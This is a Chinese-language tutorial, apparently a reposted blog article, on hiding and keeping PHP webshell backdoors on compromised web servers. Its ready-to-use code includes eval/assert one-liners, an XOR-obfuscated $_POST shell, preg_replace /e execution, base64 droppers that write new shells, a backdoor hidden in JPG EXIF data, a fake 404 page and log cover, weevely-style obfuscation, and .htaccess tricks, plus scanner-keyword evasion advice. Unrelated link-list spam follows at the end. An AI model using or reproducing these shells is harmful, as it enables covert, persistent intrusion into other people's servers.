PHP后门隐藏与维持技巧,php后门技巧

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普。

AD:

0×00前言

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.

eval($_POST['cmd']);?>

或这样

$_POST['cmd']);?>

当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.

但是运维直观寻找我们shell的方式也有很多,如

◆通过文件名/修改时间/大小,文件备份比对发现异常

◆通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等

◆通过Access.log访问日志发现后门所在

◆又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等

针对常见的检测方式,总结以下七常用手法对shell进行隐藏

0×01规避

看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的

常见的关键词如:

◆系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

◆代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

过去有朋友机智的使用$_POST[0]($_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的

tudouya 同学在FREEBUF上给出[一种构造技巧](http://www.freebuf.com/articles/web/33824.html)利用

@$_++; // $_ = 1

$__=("#"^"|"); // $__ = _

$__.=("."^"~"); // _P

$__.=("/"^"`"); // _PO

$__.=("|"^"/"); // _POS

$__.=("{"^"/"); // _POST

${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);

?>

构造生成,当然,嫌太直观可以写作这样

$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

执行无误,且绕过普通扫描器,也可依赖之写新的临时shell

0×02特性

借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)

eg.:

${@eval(phpinfo())}

{}可解析双引号内的变量内容,@保持出错后继续执行

然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace

"//e",$_POST['cmd'],"");?>

这玩法显然已经进了扫描器黑名单,简单修改下

function funfunc($str){}

echo preg_replace("/(.+?)/ies", 'funfunc("\1")', $_POST["cmd"]);

?>

执行了,没有被发现

执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行

funfunc("{${phpinfo()}}")

另一种方法

"\$arr=\"".$_GET['cmd']."\";");?>

0×03包含

文件包含是众人都玩过的方法,只是包含也有技巧

普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现

看此脚本

if(@isset($_GET[content]))

{

$fp=fopen('README','w');

file_put_contents('README',"

@file_put_contents('README',$_GET[content],FILE_APPEND);

fclose($fp);

require 'README';}

?>

算是解决了一点问题,需求的shell可随用随生成,进而包含之

可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现

编码生成的方式创建shell,随访问而生成.

fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));

?>

可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.

当然对于启发式之类的新概念就不考虑了

在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片

$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>

参考:一种隐藏在JPG图片EXIF中的后门

这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行

此处可能会提示 Call to undefined function exif_read_data()

需要修改php.ini, extension=php_exif.dll

将其加载顺序改为extension=php_mbstring.dll的后面

可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒

当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…

0×04隐匿

为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚

span class="string">"-//IETF//DTD HTML 2.0//EN">

404 Not Found

Not Found

The requested URL was not found on this server.

@preg_replace("/[checksql]/e",$_POST['cmd'],"saft");

?>

借助上面的html渲染后,浏览页面已经开始伪装404以迷惑视听了

但躲得过访问者也躲不过日志分析,为更好的隐藏在大量日志中,构造如下脚本

header('HTTP/1.1 404');

ob_start();

@fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));

ob_end_clean();

?>

访问之,是真正的404,没错,日志中也是这样

但此刻当前目录已生成我们要连接的脚本

0×05混淆

用过weevely工具的童鞋应该知道,其生成的免杀shell像这样

$penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";

$kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";

$ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");

$wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";

$zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";

$smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");

$jgfi = $ftdf("l","","lclrlelaltel_functlilon");

$rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();

?>

终端下连接后像这样

Ps:截图忘记修改终端编码了:(

其免杀方式在于,在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程

当然,这是在代码层面混淆视听以躲过扫描器

更常用的混淆视听的方法:

◆修改文件时间

◆改名融入上传后所在文件夹,让人无法直观看出文件异常

◆文件大小的伪装处理(至少看起大小像个正常脚本)

◆选好藏身路径并尽量少的访问

◆畸形目录%20

关于空格目录,还是相对容易被发现的

0×06解析

利用.htaccess,添加解析后门

如:

AddType application/x-httpd-php .jpg

以上以weeverly为例

0×07杂糅

总结以上方法,大部分无非是一个构造漏洞的过程,漏洞构造的代码能有多奇葩,后门就可以多奇葩.可以写纤细婉约的,也可以搞简单粗暴的,只是适用场 合不同而已.如能很好的融合思路,构造自己的隐藏shell想来亦非难事.以上仅为总结经验之谈,各位有有趣的想法还望不吝赐教.

http://www.bkjia.com/PHPjc/1029359.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/1029359.htmlTechArticlePHP后门隐藏与维持技巧,php后门技巧 在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括...

php后门隐藏与维持技巧,PHP后门隐藏与维持技巧,php后门技巧_PHP教程相关推荐

  1. 计算机c盘隐藏了怎么办,win7怎么隐藏c盘 win7c盘被隐藏了怎么解除

    很多的电脑用户担心其他用户在使用电脑时修改c盘中的重要文件,所以会将c盘设置为隐藏,那么大家知道在win7系统中怎么隐藏c盘吗?方法很简单,下面小编为大家带来win7隐藏c盘的详细教程,不知道怎么隐藏 ...

  2. 安卓玩机搞机技巧综合资源-----全安卓机型通用线刷 卡刷教程。新老机型可参考【十八】

    接上篇 安卓玩机搞机技巧综合资源------如何提取手机分区 小米机型代码分享等等 [一] 安卓玩机搞机技巧综合资源------开机英文提示解决dm-verity corruption your de ...

  3. 怎么把电脑桌面的计算机隐藏,怎么把电脑桌面的图标隐藏了

    有些文件夹我们不想让别人看到,或者桌面太多图标混乱不好看,可以设置将其隐藏起来.下面由学习啦小编为你整理了电脑怎么设置隐藏桌面图标的相关方法,希望对你有帮助! 电脑设置隐藏桌面图标的方法 首先,我们都 ...

  4. easyui 隐藏input_easyui datagrid 列显示和隐藏

    //当查询IT基础设施的时候隐藏'STAFF_ID'.'ITSM_STAFF_ID' if($("input[name='currentstate']").val()==2){ $ ...

  5. c大小写转换函数_Excel中的大小写金额转换,技巧法和函数法,职场必学技巧

    财务工作中,经常需要将小写的数字,转换成大写的数字,有两种方法轻松解决,技巧法以及函数法. 小写转大写技巧法 我们选中单元格,然后右键,设置单元格格式(快捷键是CTRL+1),在弹出的设置单元格格式窗 ...

  6. 计算机一级查询记录,技巧查看电脑中使用过的记录痕迹的详细教程

    XP的系统是很多的用户还在操作的一款系统,其实现在更新以后最新的系统也是很好的使用的,开机的时候很多的用户对于不同的设置开机的时间还有如果你的电脑被别人的看到了的话是怎么实现查看的呢,今天小编就来跟大 ...

  7. 计算机的隐藏功能应用,电脑也有隐藏功能, 你知道吗?

    原标题:电脑也有隐藏功能, 你知道吗? 电脑的隐藏功能包括对文字,图片,文件,文件夹,菜单栏,功能区按钮的隐藏.隐藏的目的是为了保护个人隐私,保护个人的.集体单位的和国家的机密和情报. 01 隐藏&q ...

  8. 如何隐藏CAD图层?怎么显示隐藏的CAD图层?

    CAD图层是编辑CAD文件时常常会使用的工具,如果我们在编辑CAD文件时,想要将一些不重要的图层隐藏,或者将隐藏的图层显示,那么应该怎么进行操作?如何隐藏CAD图层?怎么显示隐藏的CAD图层?接下来我 ...

  9. 小爱同学指令大全_小爱同学有哪些隐藏功能?小爱同学实用隐藏功能大汇总

    小爱同学有哪些隐藏功能?小爱同学是小米手机的智能语音助手,我们经常用它定闹钟.做备忘录.发信息.查询天气等等.今天小编为大家带来了小爱同学实用隐藏功能大汇总,感兴趣的朋友快来了解一下吧. 小爱同学实用 ...

  10. 计算机怎么查询隐藏的字体,Win10怎么隐藏不使用的字体?隐藏字体的方法

    在win10系统中,自带有很多字体,但是对于一些做设计的小伙伴们来说可能并不够用,所以就会从网上下载很多字体来安装,然而字体多了在选择的时候就会出现很多字体并不常用,所以我们可以将不使用的字体暂时隐藏 ...

最新文章

  1. List数组,string数组,Dictionary字典三种contain方法的查询速度
  2. java自动化开发_Java自动化开发指南
  3. 浅显易懂讲讲网关和DNS的概念—Vecloud微云
  4. 文本框输入限制【不允许空格、只允许数字】
  5. 操作系统:Windows 11 来了 !无需安装即可体验 !
  6. bean json转kotlin_Android--------kotlin插件神器Json直接生成javaBean
  7. Deep Learning经典论文列表(Reading List)
  8. 网赚APP资源下载类网站源码
  9. web请求报出 “超过了最大请求长度”
  10. 不喜欢学计算机专业怎么办,录取到不喜欢的专业怎么办?说说我有所不同的“转系生活”...
  11. 2015年系统架构师考试题详解
  12. crontab任务不会执行解决方案(No MTA installed, discarding output)
  13. Android SwipeRefreshLayout GMail的下拉刷新效果
  14. linux网卡驱动离线安装_Linux下网卡驱动的安装
  15. python处理停用词(stopwords)
  16. 前端--实体,meta,语义化标签1
  17. 成都拓嘉辰丰电商:拼多多客服介入对商家有什么影响
  18. jQuery Ajax 调用WebService实例详解
  19. RIME小狼毫自用配置
  20. 来自亚马逊云科技8个全球咨询合作伙伴的数字化转型锦囊已寄出

热门文章

  1. 苹果笔记本桌面下面的工具栏没了怎么调出来
  2. 家庭账务管理系统html,兴华家庭理财管理系统
  3. java swing GUI 模拟写字板项目源码,适合初级小白
  4. uniapp-条件编译安卓Android/苹果iOS
  5. 人参产业,炒作者与投资者之辩
  6. 基于单片机智能远程可控交通信号灯系统设计
  7. BlackBerry 网络连接编程
  8. 【232期】面试官:如何保护 Spring Boot 配置文件敏感信息?
  9. 叠加态wingner函数计算
  10. 电信业重组进入倒计时 中国电信人士证实5-17重组 人事问题变数最大